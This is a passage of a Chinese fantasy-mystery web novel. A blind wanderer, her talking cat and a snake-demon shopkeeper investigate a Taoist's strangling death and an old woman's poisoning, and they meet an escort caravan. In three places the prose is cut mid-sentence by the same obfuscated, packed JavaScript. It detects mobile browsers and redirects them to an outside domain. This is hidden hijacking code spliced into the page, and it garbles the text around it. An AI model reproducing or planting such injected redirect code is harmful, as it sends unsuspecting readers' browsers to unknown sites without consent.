“我本要去德陵郡,但路途遥远,单靠我两条腿还不知道要走到什么时候。”君无岐说,“所以想来县内看看有没有商队,或能借个方便。”
“原来如此,那我也替恩人打听着。”梅念玉道,“今晚恩人可有住的地方?如不嫌弃,在寒舍歇息一宿如何?”
“那感情好。”君无岐捞起不知何时蹦到她身上的召南,坦然笑道,“那就叨扰了。”
“哎,是我的荣幸!”梅念玉高兴地眼都亮了。她整理好衣衫,把放出去的蛇尾重新恢复为人形,急忙去关店门。
“人群都散了,那不知哪里来的恶道士也走了。”蛇妖面上难掩厌恶,转回来时又挂上了笑意,“恩人来这边,我为您引路。”
她住的宅院就在店后面,面积不大,只有最普通的三进,院子里栽了棵梅花,就是长得不大好,时值春夏也没怎么长叶,细细瘦瘦的样子。召南坐在君无岐肩膀上,好奇地左顾右盼。
“梅姐姐,”它在这时候倒是嘴很甜,“你这里除了黄纸,还有朱砂什么的吗?”
“有倒是有……”梅念玉顿了顿,忽然恍然大悟,“哦,恩人要画符?我这里的确有一盒朱砂,只是我平日不爱靠近,此时也不知道受潮没有……”
她引着君无岐先去堂屋坐下,又去忙忙碌碌地收拾客房,最后提着纸笔等物一同来拿给君无岐。
“恩人先暂且一住,明日一早我就去打听商队的事。”她笑道,“若还有什么需要,及时叫我便是。”
君无岐对这样的安排已经十分满意,毕竟前几日她还住在茅屋和山上,现在起码还有个被子盖。于是一人一猫匆匆补齐符咒,便梳洗一番歇下。
今夜是个好天气,月明星稀,清风徐徐,连虫鸣都变得悦耳动听。
只是第二天她们没能按照计划行事。
因为那个道士死了。
11. 藤树(三)
找上门来的是当地镇正司,劲装打扮,腰挂银牌和倒刃刀,态度颇为不耐。
“昨日你们起了冲突,所有人可都看得清清楚楚。”他手握在刀柄上,眼睛从上往下看,白眼球比黑眼球多,“而且你是蛇吧?那就更没错了!”
似梅念玉这般正正经经开店做生意的妖怪,镇正司中都有备案,知道她是蛇妖也不算难事。
她辩驳道,“如何就没错了?我昨夜一直在家中,根本不曾外出!”
镇正卫两眼一瞪,“少说这些没用的!那道士是因全身被绞缠筋骨尽碎而死,这不是你们蛇妖最常使的招数?”
“什么?”梅念玉一懵,“但我真的没杀他!他昨日伤得我不轻,我还没找他呢!”
“我哪管那么多。”镇正卫不耐烦道,“走走走,有什么情况到衙门里说去。”
说着他就要来拉梅念玉。
“这位将军。”忽然有只手和声音一道传过来,正正把他拨开,“不知那道人现在何处,可否让我们先看一眼尸体?”
“看尸体有什么用,那还能洗脱嫌疑不成?”镇正卫越发烦躁,但看到出来的是个盲人,还是应道,“算了算了,那也成,走吧,都在衙门里。”
“梅掌柜,不如我们就先去看看怎么回事如何?”君无岐对梅念玉道,“一直在这里纠缠,怕也不是个办法。”
“你说得对。”梅念玉叹了口气,整整衣摆,“那我们就先去吧。”
沛新县城不大,官府自然离得也不远,顺着青砖路走个一刻钟便到了。
那镇正卫没把梅念玉当犯人一样押送,但看眼神也差不了多少,像是时时刻刻在防着她暴起似的。三人一猫进了衙门,直奔偏院,只见一个穿青袍的官员正蹲在地上,不知在研究什么。
“林知县,人已带到。”镇正卫过去见礼,“那一位是昨夜借住在梅掌柜家中的,一块带来了。”
“哦哦,好好。”林知县慢吞吞地站起来,一推鼻梁上的琉璃镜,眯着眼睛看她们,“你们谁是梅掌柜?”
“是我。”梅念玉咬着牙行了一礼,“但此事真的与我无关!我……”
“先别说这些。”林知县伸出一只白胖绵软的手,说话倒是很和气,却有种不容拒绝的味道,“你来看看,这是否是昨日在你店里闹事之人?”
梅念玉在原地踌躇片刻,走到知县身边。
地上放着木板,木板上躺着个人,又黑又瘦,眼睛仍是睁着的,只是眼珠通红,暴凸在外,全身都扭曲了。他还穿着那身道袍,但现在上面遍布尚未完全干涸的黏液,有种不太好闻的腥臭味。
“是他!”梅念玉攥着手,肯定道。
“嗯……根据此人身份文牒所写,他叫李安福,崇阳府灌县人,时年三十九岁。”林知县拿着卷宗,“你们之前见过吗?”
“没见过。”梅念玉摇头,“昨日就是第一次见,他莫名其妙就要来收我,还劈坏了我一大片鳞片,若非恩人在,只怕我今日连床都起不来。”
“哦。那他可有说些什么话?”
“就是些要斩妖除魔的话。”梅念玉冷静下来,仔细回忆道,“对了!他还有个罗盘!”
“罗盘?”林知县追问,“什么样的罗盘?”
“就是个铜铸的,上面画了些符文八卦之类。”梅念玉不太懂这些,在空中比比划划,“会发光,白色的,不过光芒很淡。”
“发现他时没见到有罗盘。”林知县沉吟,“莫不是为了那个罗盘才杀的人?可那罗盘得有多重要,才值得用这种手段?”
他指的应当是全身被绞缠而死。
“林知县,这事人类是办不到的,只能是妖。”他身后不知是县尉还是其他的什么官靠过来,拱手道,“况且又是那种死法,我认为还是这蛇妖嫌疑最大,应当先扣押……”
“这位长官所言差矣。”梅念玉面沉如水,“其一,昨日此人闹事后我便不曾再出门,恩人能为我作证;其二,他那罗盘我避之不及,怎会去主动接触?其三,我修为浅薄,根本无从抗衡此人,若非昨日恩人在场,只怕我就要死在当场,如何能杀死他?”
林知县拦住还要说话的县尉,问道,“你说的恩人是?”
“是这位君姑娘。”梅念玉一指站在那边的君无岐,态度很尊敬。
“见过林知县,在下君无岐。”她拱手作揖,“我确可以为梅掌柜作证,昨夜她一直在家中,不曾外出。”
林知县上下一打量她,问道,“君姑娘不是本地人吧,从何处来的?”
“我本天泽府人,要去往德陵郡,途径贵县。”君无岐答道,“不知梅掌柜是否洗脱了嫌疑,我们能走了吗?”
林知县的目光在她脸上打了个转,不带任何其他意味,只是一种审视。他摇摇头,没回答,转头对县尉说,“去把昨日的目击者叫来。”
君无岐心里猛地一沉。
知县是堂堂七品官,为什么会亲自查案?死者不像是身份有殊,昨日见着也没有带什么珍异物品,那么就是最近有什么人停留在沛新县中,其身份来头都不一般,乃至一县之长都要如履薄冰,生怕被揪出一点错处……
她忽地打了个突。
话说回来,庆熙王是不是就能满足身份不一般这个条件?再说他一个郡王,天子近亲,为什么要孤身一个人在外?难道是……
“小人见过知县!”
突然有人大声见礼,原来是证人到了。林知县没有讲那些废话,单刀直入问道,“你昨日可看到此人?”
证人强自忍着恐惧和晦气打量了一番死者,肯定道,“见过!他在梅掌柜店中闹事,当时好多人都看到了!”
“那你可有看到他后来去了哪?”林知县不置可否,追问道,“与梅掌柜是否还有接触?”
“那我不知道。”那人拨浪鼓似的摇头,“但他确实走了,和一个人走的,我看见了。”
“和一个人?”林知县眼睛一亮,“什么人?能否描述一下?”
“呃,应该是个男的,个子不高,穿绿衣服,皮肤很白。”那人回忆道,“他腰上系了个金色的石头,我没见过,看了好几眼嘞。”
“去,派人找这个人。”林知县快速嘱咐身旁县尉,转过脸来追问,“你可听到他们说什么了?”
“我没听清,大约是些想要的东西之类的。”那人说,“莫不是个卖货郎?可卖货郎哪有那么白的皮子,还能穿得起好料子的。”
林知县若有所思,又紧着问了几句,却是什么都问不出来,于是便安抚其几
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14737974|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
句,令人带他退下了。他看向站在一边的两人,面色似有犹豫。
梅念玉轻轻拉住君无岐的袖子。
“梅掌柜,你的嫌疑仍未全部洗清啊。”他叹息道,“除了这位君姑娘,还是没人能证明你此后没有再接触死者。可君姑娘是外地人,她的证词,于情于理,本官都不能全权采纳。”
梅念玉有点着急,“可……!”
君无岐拦住了她。
“林知县似乎话还未说完。”她仍是微笑着,“梅掌柜,稍安勿躁。”
“君姑娘是明白人。”林知县对她们作了个揖,“此案涉及妖邪奇术,为了真相,也是为了梅掌柜,还请二位助我一臂之力。”
君无岐沉默片刻。
“我虽然能理解林知县的心情。”她缓缓说道,“但我需要尽快赶到德陵郡……”
“三天。”林知县斩钉截铁道,“最多耽误三天时间。过了三天,无论案子是否查清,我都派人送姑娘出城。”
“此外。”他不动声色地撇了一眼身后,“届时还有礼物赠与姑娘。”
君无岐没说话,似在思考。
“既然如此。”过了阵子她才说道,“那我就恭敬不如从命了。”
林知县不动声色地吐出长长一口气。
“你知道他别有目的吧?”一直装普通猫的召南悄悄在她耳边说,“这家伙心里有鬼。”
君无岐任由梅念玉拉着她的手,低声答,“我知道,我也猜到那只鬼是谁了。”
今日晴风和煦,暖意融融,阳光将人的发丝都染成金色。她分明眼睛上还蒙着白布,丝毫不像能见物的样子,却似有所觉似的转向某个方向,微微一笑。
像招呼,像挑衅。
像有杀意藏在嘴角之中。
小楼上也有人在笑。
“师弟,那就是那个在照虹山里让你屡屡受挫的盲女?”一个穿湖蓝圆领袍,作文士打扮的男人靠在床边矮榻上,饶有兴趣道,“确实与那人有几分相似,怨不得你心旌摇荡呢。”
“请师兄勿作此言。”元璧立在窗前,神情坚冷,“我只是对她的身份有所疑惑。”
“行,你疑惑,人家嫌恶你都那么明白了,你还跟着过来要解惑呢。”薛敬竹坐没坐相地摊开身体,“我说师弟啊,你那一身的伤就别撑着站着了,要不然显得我这个为你治伤而来的师兄多么没有存在感。要是让师父知道了,不得撕了我?”
元璧终于舍得看了他一眼。
“我此次代天子秘密西巡,想杀我的不知凡几,受点伤很正常。”他说,“我会与师父说明此事,不让师兄你为难。”
“哎,我倒也不是那个意思。”薛敬竹挠挠头,面色纠结一瞬,又很快放松,“行吧,你写也行,对我没坏处。别看了,人家都走了,你快安抚安抚那知县吧。看把人家吓得,你一来,堂堂一知县都亲自去查案子了。”
元璧转身回到桌前。桌上放着一把剑,剑鞘上因常年被人随身挂着,已经有了磨损,但通体干净锃亮,看得出主人很是爱惜。他握剑出鞘一节,剑身清亮如水,照映一双披了霜似的眉眼,眼瞳黝黑,像两口深井。
三天。
他心想。
就用这三天,看看那盲女的真面目吧。
12. 藤树(四)
君无岐和梅念玉正走出县衙。
“君姑娘,你有什么想法吗?”梅念玉尚未全部洗脱嫌疑,那个镇正卫正在不近不远地跟着她们,“我们先去哪?”
“有件事得先搞清楚。”君无岐一只手放在下巴上,若有所思地摩挲着,“李安福是怎么知道你身份的?”
“什么?”梅念玉一愣,“难道不是凑巧?”
“哪有那么凑巧。”君无岐笑道,“看他的样子也不是用笔墨纸砚的,干什么要去梅烟斋?况且你那铺子位置偏,门口小,我也是进了店才察觉你是妖,他怎么那么肯定,还在外面就知道里面有妖?”
“原是如此。”梅念玉恍然,“那必是什么人告诉他的,我知道我们该去哪了。”
她一边轻拉君无岐的袖子为她指引方向,一边解释道,“你晓得我是家蛇,化人之前我一直都在一户住着,倘若有人知道我身份,那也只能是那一家。”
她说的地方在城外,距离不近,是个颇繁荣的小村庄,待两人走到时日头都西斜了。村里没多少人,这时候农户们大约都在下地干活。她带着君无岐,熟门熟路,很快就到了一家门前。
“就是这里。”梅念玉当先要去敲门,没成想手刚挨上门板,门自己就开了。
“咦?”梅念玉一愣,跨过门槛,向院子里张望,“徐婆婆,你在家吗?”
无人应答。
“不太对劲。”君无岐在她身后说,“门闩断了,一侧有茬口,是被大力撞击撞断的。”
她的手指顺着向前,摸到满是灰尘的门板下方,那里有个不太明显的凹痕,“从外面撞断的,可能是奇术。”
“什么?”梅念玉一慌,急忙往院子里去,“徐婆婆,徐婆婆!”
正屋是间草房,房顶上有些茅草被吹掉了,掉的到处都是。屋檐下垂着些已经干枯的草,不知道做什么用。门半开着,里面黑洞洞的。
门口放着个翻倒的笸箩,里面的豆子撒了一地,有的已经被踩进了土里。
梅念玉绕过那个笸箩,去开门。
咔嚓一下,门倒了。
“本来也没几件东西,别折腾了。”有人在她背后幽幽道。
梅念玉猝然回头。
站在院子里的君无岐挑眉。
一个小老太太站在北屋门口,整个人仿佛都是等比例缩小的,个头还不到人的大腿。她穿着件灰黑袍子,手里拄着拐棍,脸皮耷拉下来,上面一片青青紫紫,小眼睛黑沉沉的,没什么精气神。
“徐婆婆死了。”她自顾自地说,“昨天死的。”
梅念玉浑身一震。
“怎么……怎么去的?”她抖着嗓子问,“我过年来时还好好的,怎么突然就……”
小老太太从下往上斜睨着她。
“是个酸臭的道士,不知从哪来的,我那日在地里伺候那些不孝子弄回来的瓠瓜,不曾在家,谁想到一进门就见她要死了!”她语调尖锐,“梅念玉,你真没用!一条修成了人身的蛇,还不如我个老鼠!你过年时带回来的那些钱,全让败家子夺走了你知道吗!要不是我想法搬了粮来,婆婆都撑不到昨天!”
原来是个老鼠精。
梅念玉被她骂得脸色苍白,讷讷说不出话来。老鼠也懒得管她,掉头又来看君无岐,“这个人是怎么回事?你带术师回来是什么意思,生怕我不死?”
“不是!君姑娘是我的恩人,此番带她来是想搞清楚一件事的。”梅念玉慌忙解释,“婆婆,婆婆她葬在哪里了?我想去看看她……”
“算你有点良心。”老鼠精哼了一声,“还没葬,在屋里,看看她去吧。”
梅念玉跨过倒下的门板进屋,正当间放了个棺材,里头堆满粮食,静静簇拥着死去的老婆婆,她流着眼泪跪下来磕头,磕完又把随身带着的财物都取出来放进棺材里。老鼠一并跟了进来,见此也没再说什么难听的话,只是默默望着徐婆婆的遗容,疲惫地长长叹了口气。
“你我是天敌,若非是婆婆,下场也就是你把我吃掉。”她还没跪着的梅念玉肩膀高,口吻却像她的长辈,“如今婆婆死啦,这三间屋估计很快就会被她那儿子卖掉。可怜婆婆是好人,生养的一儿一女却一个不孝至极,一个离家出走。咱们送走她,就此别过吧。”
梅念玉抬起泪眼朦胧的眼睛,哽咽道,“……好。”
“那你要去哪里?”她问,“你修为浅薄,若是随意外出行走,碰上……”
“用不着你管!”老鼠精凶巴巴地吼她,肩膀却耷拉了下来,“缘分尽了,问这些还有什么用。”
屋里没什么东西,只有北边窗口上挂着条破旧的麻布,样子已经裁了出来,像是做衣服做到一半,看长度大约是给梅念玉的。麻布轻飘飘地飞起来,飘荡着,下摆上一支梅花横生的枝节晃过眼前,像根针突然扎了一下。
梅念玉起身把那块布搂在怀里。
“抱歉,恩人。”她弓着脊背,低声对君无岐说,“这几日我需得好好送走婆婆,官服若把我当做嫌犯便当吧,我也顾不得那些……”
君无岐摸索着对棺材行了个礼。
“梅掌柜对我甚好,送我黄纸,还留我吃住,我应当报答。”她道,“你且好好送送婆婆,案子我自行去查。”
她在低低的感谢和啜泣声中走出堂屋。
院子里有片小小的菜地,种了些豆角丝瓜之类好活又产量大的作物,只是最近大约是无人打理,都已经枯黄。院墙边上有棵很大的梅树,枝条又多又绿,密密匝匝地垂下来,搭在墙头。现在早就没有梅花了,树皮上有片片不太明显的剥落痕迹,是梅念玉曾经生活过的印记,随着天长日久,深深刻在了上面。
君无岐看不到,她走得很慢。
“真可惜。”召南小声说,“听起来是人很好的婆婆。”
“是啊。”君无岐叹息,“可惜呐。”
一人一猫出门,外头日影西斜,渐渐有农人在往家走,几个小孩光着脚跑来跑去,时不时好奇地看她一眼。
“大侠,这位大侠!留步!”
有道苍老的声音在唤,一开始君无岐没发觉是在叫自己,直到那声音慢慢靠近,她才恍然转身。
“婆婆,您喊我?”她笑道,“我不是什么大侠,在江湖上混口饭吃而已。”
“哎,你是来找徐姐姐的吧?”老太太急切地说,“我看见你从她家出来了!徐姐姐是被人害死的!”
召南小声嘟囔,“不就是被那个道人吗……”
“不是,不是道人。”没想到老太太一把年纪了耳朵还挺灵,她凑近了些,嗓门压低,“其实那个道人来之前她就快不行了,我知道!她今年过年时身体还好得很,怎么突然就不行了?村里郎中可都说了,不是病,没有病!”
“那也不一定吧。”召南犹犹豫豫的,“万一就是什么罕见病呢?郎中看不出来也是有可能的嘛。”
“不是,真不是!”老太太急眼了,“什么病咳出的血能把花草也毒死?老婆子我活了大半辈子,从来没听说过!”
君无岐神情猛然一凝,“婆婆,您详细说说。”
“咦,我怎么听着是两个声音……”婆婆瞪着满是白翳的眼睛又凑近了一点,但这点小事很快又被抛在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14737975|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脑后,“前几天我上徐姐姐家唠嗑,亲眼看见她咳血,那血一沾到地上,地上的草啊叶的,就都死了!”
“可婆婆你眼睛也看不清楚吧……”召南委婉道。
“什么话!我是眼神不好,又不是瞎了!”老婆婆生气道,“你说,这根本不可能是病吧,什么样的病会这么毒?”
毒。
君无岐在心里默念。
是毒。
只是徐婆婆是个住在城外村庄的普通老太太,这样的人简直一抓一大把,她到底有什么特殊的,值得被人这么对待?
……她家中有两只妖。
这是她身上最特殊的地方。
君无岐咂摸着线索,送走老太太,缓缓向回城的方向走去。
“好奇怪,徐婆婆是得罪了什么人吗?”召南扒着篮子说,“那也不值当这么对付一个老太太啊,想杀她不有的是更简单的办法?”
“但她家里还有个老鼠精。”君无岐说,“别的手段太容易被妖怪阻止了,倒不如用毒最方便。”
“有道理。”召南点点毛茸茸的脑袋,“可谁会这么做呢?杀她又没好处。”
“不知道,也许这是个切入点。”君无岐若有所思,“不是说她还有个败家不学好的儿子在城里?我们先去找他吧。”
召南对于她要做什么都没有异议,反正她去哪它都跟着。
“希望那个知县说的礼物是个好东西,不然真配不上我们这么东跑西颠。”召南丧丧的,“今日怕是赶不及在宵禁前回城了,我们随便找个地方住吧。”
“唉,人,应当随遇而安。”君无岐叹息,“你看附近可有能过夜的地方?”
“看那边好像有个破庙,去那里吧。”猫踩着她的头顶东张西望,“好歹还能遮风挡雨,比睡野地里强。”
君无岐跟着猫的指引到了破庙。
确实是破,都不用人碰,风一吹那板墙就吱嘎嘎地响,听得人心里没底。
“你真不是要害我吗。”君无岐站在门口喃喃,“召南啊召南,我平时对你挺好吧,不至于此……”
“你又在讲什么疯话!我要真想害你不就找个悬崖让你跳了!”召南气得踩她头顶,“就这一处,不愿住咱们就去躺野地!”
“别踩别踩,住就是了。”君无岐拿竹杖顶开庙门,一股子尘灰霉味直往脸上扑。她问召南,“这庙里供的是哪路神仙?”
“呃……这像都让人拆了一半了,我实在认不出来啊。”召南苦哈哈地说,“他手上拿的好像是如意?后面是啥,胡子吗?”
“那多半就是土地爷了。”君无岐了然。她问准方位,对塑像拜了拜。
“土地爷爷宽宏大量,今夜暂借您的地方歇歇,多有打扰,抱歉抱歉。”
拜完山头,她就划拉着找了片干净点的地方坐下,态度极其泰然。
猫踮着脚尖不肯下地,只愿意在她身上扑腾,一边还要自己念叨,“总比餐风露宿强。”
君无岐不理它,任由它嘀咕着找了个舒服地方,拱进她怀里,不动了。
今夜月朗星稀,光芒皎白明亮,纱一样透过屋顶裂缝垂进来,还带着微微的风。正当一人一猫昏昏欲睡之时,门外又传来了动静。
“少镖头,这个时辰赶不回城里了,这有个破庙,就凑活一下吧。”
“嗯,让兄弟姐妹们都警醒着点,这荒庙地偏,夜里难免有野兽或贼人。”
“大家都晓得。都过来吧,今夜在这休息!”
君无岐仰起头。
“有点耳熟。”她自言自语,“是之前在食店遇见的镖队?”
13. 藤树(五)
庙门嘭一声打开,踢踢踏踏的脚步声响起。
“这地方还行,看着倒也能遮风挡雨。”一个清朗的女声道,“就是脏了……咦,这怎么还有个人?”
听到有人发现自己,君无岐才慢吞吞地坐起来,伸手去够竹杖,“你们是?”
叮铃铃一阵响,有个亮堂堂热烘烘的东西靠过来,大概是马灯,那说话的女子提着灯一照,立马认出了她,“你是,昨日食店里那个盲女?”
随即她意识到自己言语不妥,歉然道,“我没有别的意思。你还记得我吗?”
“原来是姑娘。”君无岐摸索着爬起来,行了一礼,“在下君齐,失礼了。”
“我早就不是姑娘了!”绛红衣裳的女子哈哈大笑,“我已成亲多年,孩子都有俩,你就叫我秦二娘吧。那是我们少镖头,乃‘风云刀’关庆华之女……”
“二娘!”后面过来的狐眼少年气恼道,“莫要再提我爹了!这次出来走镖,我就是不想再框在‘风云刀’之女这个名号里!”
说罢她转向君无岐,神采飞扬道,“我叫关惊澜,是兴海镖局的少镖头,你若是遇到什么困难,尽管来找我!”
她的语速又快又急,蹦豆子似的清清脆脆一长串,君无岐只来得及回了个是,便听见她又去招呼镖队打扫安置,人虽然年轻,安排起事来却一点都不含糊,井井有条。
“我们少镖头虽然年轻,但幼时就跟着风云刀走镖,经验丰富着呢。”秦二娘语气里有种小辈有出息与有荣焉似的骄傲,“对了,君姑娘,你孤身一人,怎么歇在这破庙里?多危险呐。”
君无岐笑,“我本是陪着友人出城寻访亲友的,哪料到途中出了些变故,我便独自返回,谁知这眼睛不好使,半路上迷了道,赶不及城门宵禁,就随便找了个地方歇息。”
话说到一半,忽然有只猫从她背后窜出来,尾巴围着她肩颈,一对眼睛瞳孔竖竖窄窄,呲出尖牙,颇为警惕的样子。
秦二娘若无其事地把放在君无岐面前的手放下,“你还养了只猫?叫什么名字?”
“它叫召南。”君无岐一侧头,脸颊蹭过柔软密实的毛发,“你们又是因何事出了城?”
秦二娘神色未变,“唉,镖队有朋友的亲戚住在附近,我们想着都到了这了便也来一同拜访,谁知路上出了岔子,好一通忙活,再一看天都黑了,只好也来这里暂住。今夜我们便互相照顾吧。”
好生硬的借口。
但君无岐没拆穿,只是笑道,“原来如此。那我就不打扰各位忙碌了。”
她慢腾腾地重新坐下,没立刻睡下,留心着那边的动静。
秦二娘在原地站了一会,转身走了,听声音是去帮忙打扫清理出能睡人的地方。一伙人忙忙碌碌不消停了半个时辰才算准备妥当,响动暂歇,没多大会,就有打呼声滚了出来。
“好像确实是偶然遇见。”召南在她耳边小声说,“我们也休息吧。”
君无岐支棱了一天,此时也困了,打个哈欠,“睡吧。”
一人一猫依偎着躺下。
就这么安安生生直到半夜。
君无岐做了个梦。
梦里有个白发白眉白胡子老头,手里捧一柄玉如意,穿红蓝锦衣,不说话,只是看着她笑。
她忽然醒了。
凉丝丝的夜风从墙壁缝隙里钻进来,冻出一身小疙瘩。月亮不知何时被云层吞没了,只留下一点淡淡的银辉。破庙里投出错综交叉的阴影,在飘荡的蛛丝与垂下的草杆之间,似乎有什么在动。
君无岐看不见,但她听见了。
某种非同寻常的声音。
在关惊澜那边。
“什么人!”她断然一声暴喝,声还在原地,人已经窜了出去,像一条骤然劈落的闪电。手中竹杖破出飒然风声,啪一下重重抽在了什么东西上!
那东西猝然惊走,一声不吭,唯独出门时嘭咚一声掉了个什么。关惊澜此时已然清醒,刷一下弹起来,一手按在君无岐肩上,神情慎重。
“莫追。”她道,“这里偏僻荒凉,出去容易出事。”
别人也都醒了,陆陆续续起来往这边看来。
君无岐本也没有出门的意思。她抬起竹杖,指尖在尖端一抹,湿淋淋的,但又没有血腥气,“不是人类,不知是什么妖物。”
“这不是那个铜辟邪吗?”秦二娘快步走到庙门口,拾起那物逃走时丢下的东西,“少镖头,你看看是不是你的?”
有人拿来马灯,火光下铜辟邪闪亮亮的,毫发无损。关惊澜接过来放在手中摩挲,神情有些迷茫。
“我们带的东西更值钱的有的是。”她说,“怎么偏偏就看上了这个铜辟邪?”
她看向君无岐,有些试探的意思,“君姑娘,你觉得呢?”
“你这是个好东西。”君无岐说,“如果只奔这个来,那我猜那妖物是想借它修炼。”
“修炼?”关惊澜不解,“一个铜辟邪,能怎么借其修炼?”
“你这辟邪铸造之时就有机缘,带了一分大妖的气息。”君无岐道,“后来辗转到你之手,沾染了不少气运强盛之人的运,对于妖物修炼很有好处。你可曾听过野狐戴髑髅拜月的故事?”
关惊澜摇摇头,随即想起面前之人看不见,赶紧应道,“未曾听说,是个什么样的故事?”
“过去传说,野狐夜间甩尾巴出火星,要头戴死人头骨对着北斗星叩头,死人头骨不掉下来,就变成人了。”君无岐笑叹,“可见妖物修炼也是需要借助人的气运的,金银珠宝对它们而言意义不大,倒是这些奇物更容易引起它们的兴趣。”
“原来如此。”关惊澜点头,“君姑娘是奇人,若非你在场,这怕它就要被偷走了。姑娘有所不知,这是我父亲留给我的护身符,虽不知什么钱,却意义非凡。以后我定当贴身携带。”
“话说回来,能否请关镖头帮我一个忙?”
“君姑娘请讲。”关惊澜急忙道,“尽管提便是。”
“你能不能帮我看看,这竹杖上到底沾了些什么?”君无岐提起竹杖,“我拿它抽了那东西一下,应当多少留下了些痕迹。”
关惊澜仔细端详竹杖,还凑上前嗅了嗅。
“像是水,但好像也不完全是水。”她不太确定地说,“没有颜色,倒是有股草木似的气味,莫不是什么树藤汁液之类的?”
君无岐忽然想起李安福的死。
他死于某种东西的绞缠……难道不是蛇蛟之类的动物,而是藤?
可他的死又和今夜来偷铜辟邪有什么关系?
他们之间的共同点,罗盘和铜辟邪?
不等她想出个一二三四五,那边又有了其他状况。
是那个八字眉。这家伙长得一脸愁苦,干起活来却是一把好手,他喊关惊澜,“少镖头,你看这里,好像是那妖物留下的!”
关惊澜快步过去,原本遍布
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14737976|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
灰尘的地板上有一大片擦过的痕迹,细看似乎泛着潮湿的反光。八字眉丝毫不在意脏乱,趴在地板上,小心翼翼地拈出一片半个指甲大的红色卵形薄片。
“老陈,”关惊澜喊他,“这是什么?”
陈平威以和他外表完全不符的细腻动作把那玩意捧到关惊澜眼前,“少镖头,你看,这东西是不是南蛇藤果上的那层皮?”
“嗯?”关惊澜接过来仔细打量,“好像还真是。”
“南蛇藤能长得很大,喜水,结的果是红色的,都对上了。”秦二娘道,“今夜来的怕不就是这东西化的妖物。”
“它来时我竟丝毫未觉……”关惊澜咬牙,“还是练得太少,需得更努力才行!”
“那倒也不是这个原因。”秦二娘忙不迭地劝她,“那是妖物,我等凡夫俗子无法对抗不是很正常吗?少镖头,你可千万别钻牛角尖……”
“君姑娘!”关惊澜没听她说完,径直朝着君无岐过来,“我能问问你是怎么察觉到妖物来的吗?”
君无岐必不可能告诉她是因为庙里供的土地爷提醒,因此只是高深莫测地微笑,“我只是听到了些非同寻常的动静而已。”
召南恰到好处地喵了一声。
关惊澜沉默。
这是要干嘛,怎么不说话?君无岐有点摸不准她是什么意思,正准备讲点什么活跃下气氛,突然听见“咚”一声。
紧跟着就是秦二娘和陈平威七嘴八舌的劝阻。
她忽然有种不好的预感。
“请您教我!”一圈乱七八糟的动静里,少年的声音格外清朗且坚定,“我已有想拜师之人,因此不能拜您为师,但除此之外任何条件都随您提,还请教我!”
君无岐一动不动地站在原地。
其实是傻了。
万万没想到事情的发展走向竟是如此信马由缰。
关惊澜还以为她是不愿意,声调又上了一个度,“关惊澜,年十九,身体康健,没有任何不良嗜好,平生喜好练武,目前家底攒了有四百七十八两银……”
“好了好了,不必再说了。”君无岐赶紧循着方向把她扶起来,“教你倒没有什么,只是我确有一事相求……”
“君姐姐说来便是。”关惊澜极其自然地顺杆子往上爬,一双眼亮晶晶的,“只要我能做得到,上刀山下火海我都能为你办成!”
“是这样的,我想前往德陵郡,只是路途遥远,我又行动不便,想问问你有什么门路。”君无岐说,“你可认识有往那去的商队或车马?”
关惊澜精神一振,笑了起来。
“君姐姐不知道吧,我们这镖队也是往那方向走。”她说,“有何难的,届时我们一起上路就是。”
闻言君无岐也松了口气。
“那感情好。”她笑,“不知你们何时出发?”
关惊澜扫了眼身后人,人人都是一脸难色。
“呃,可能得过几天吧。”她抓抓头发,“有些事情耽搁了一二,但姐姐放心,不会很久的!”
“好,那我便等消息。”君无岐笑道,“眼下天也快亮了,我要赶紧进城,关镖头,咱们就此别过吧。”
“啊,好的。”
关惊澜呆呆站在原地,看着君无岐步履闲适地迈出门口,又迅速在视野里消失,不知为何,有种被人摆了一道的感觉。
“话说回来。”她自言自语,“君姐姐看不见,她怎么知道天快亮了的?”
14. 藤树(六)
天色熹微,沛新县的城门徐徐打开,门外已经排满了人,多是挑着山货来城里卖的乡下人。城门卫打着哈欠,无精打采地一张张查验文牒,逐一把没有问题的人放进去。
一个副尉站在城墙上,正在巡逻。他身后跟了两个小兵,都拿着戟,神情很放松。
“娘的,这天,一天比一天热!”副尉拉了拉铠甲,一抹额头,“今日进城的人不少,都打起点精神!”
一个小兵紧走两步靠过来,挤眉弄眼道,“长官,近日好像知县也没工夫理咱们这城门,要不让兄弟们松快松快,捞点油水……”
“去去去。”副尉没声好气,“上头大官还没走你就想捞油水,我看你是皮痒了!滚回去,乖乖巡逻!”
小兵一撇嘴,站回去了。
今天确实是热,城墙上又没有凉荫,厚厚的铠甲里全是汗。副尉心不在焉地看过城墙下,想着下值后要去哪家酒店里吃个酒……
嗯?地面……怎么越来越近了……
城墙上乱了起来。
